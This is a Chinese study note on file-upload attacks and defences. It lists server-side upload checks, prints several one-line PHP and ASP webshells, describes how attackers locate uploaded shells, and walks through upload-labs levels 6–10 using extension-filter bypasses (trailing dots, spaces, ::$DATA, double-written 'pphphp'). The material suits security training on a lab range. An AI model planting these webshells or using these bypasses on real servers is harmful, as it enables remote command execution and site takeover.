文件上传防御手段及绕过手段
-
文件类型校验(MIME类型检查)
- 描述: 通过检查文件的MIME类型来确保上传的文件是合法类型。
- 防御效果: 基于浏览器和服务器端的MIME检查。
-
文件扩展名限制
- 描述: 限制上传文件的扩展名,例如只允许
.jpg
、.png
等图片文件。 - 防御效果: 只允许预定义的安全文件扩展名。
- 描述: 限制上传文件的扩展名,例如只允许
-
文件内容签名验证
- 描述: 检查文件内容的魔数(文件头签名)来确认文件类型,比如图片文件的头部有特定的字节序列。
- 防御效果: 根据文件内部结构检查,较为可靠。
-
文件大小限制
- 描述: 限制上传文件的大小,避免上传非常大的文件导致服务器资源耗尽。
- 防御效果: 保护服务器免受资源耗尽攻击。
-
文件存储路径的安全性
- 描述: 文件上传后,确保文件存储在安全的目录中,并且上传文件的路径不可执行。
- 防御效果: 防止上传的文件被当作可执行文件运行。
-
重命名上传文件
- 描述: 上传文件后,使用安全的随机命名(如 UUID)替代原始文件名。
- 防御效果: 防止攻击者通过文件名构造恶意代码执行。
-
服务器端权限控制
- 描述: 对文件上传后的目录进行严格的权限控制,确保文件不可执行。
- 防御效果: 限制上传文件的可访问性,防止直接通过 URL 执行上传的恶意文件。
-
杀毒软件或安全网关
- 描述: 在上传时或上传后,使用杀毒软件或安全网关对文件进行扫描。
- 防御效果: 有效检测并阻止已知恶意文件。
文件上传常用一句话木马
<?php @eval($_POST['attack']) ?>
<?php system($_GET['cmd']);?>
<%eval request ("pass")%>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>
文件上传无回显如何查找webshell地址
猜测路径
攻击者可能会根据他们对目标网站结构的理解来猜测 webshell 的存放路径
利用日志信息
如果攻击者之前已经获得了目标站点的日志访问权限,他们可以通过查看日志文件来寻找有关上传操作的信息。
利用已知漏洞
如果攻击者知道目标系统存在其他漏洞,如信息泄露漏洞,他们可能会利用这些漏洞来获取更多关于文件存储位置的信息。
使用扫描工具
有一些自动化工具可以帮助攻击者扫描目标站点,查找可能存在的文件或目录。
利用默认路径
一些 CMS(内容管理系统)或其他 Web 应用程序可能会有默认的文件上传路径。
利用错误消息
如果上传功能返回了错误信息,这些信息有时可能会透露文件存储的位置或相关配置信息。
upload-labs靶场通关6到10
level6
- 上传含有一语句木马的1.php文件,提示:此文件不许上传
- 用Burp捕获数据包,将文件名后缀".php",修改为".php "
level7
用Burp捕获数据包,将文件名后缀".php",修改为".php."。点击Forward,发送数据包。
level8
用Burp捕获数据包,将文件名后缀".php",修改为".php::$DATA"
level9
用Burp捕获数据包,将文件名后缀".php",修改为".php. . "
level10
文件的后缀被删,无法解析
用Burp捕获数据包,将文件名后缀".php",修改为".pphphp."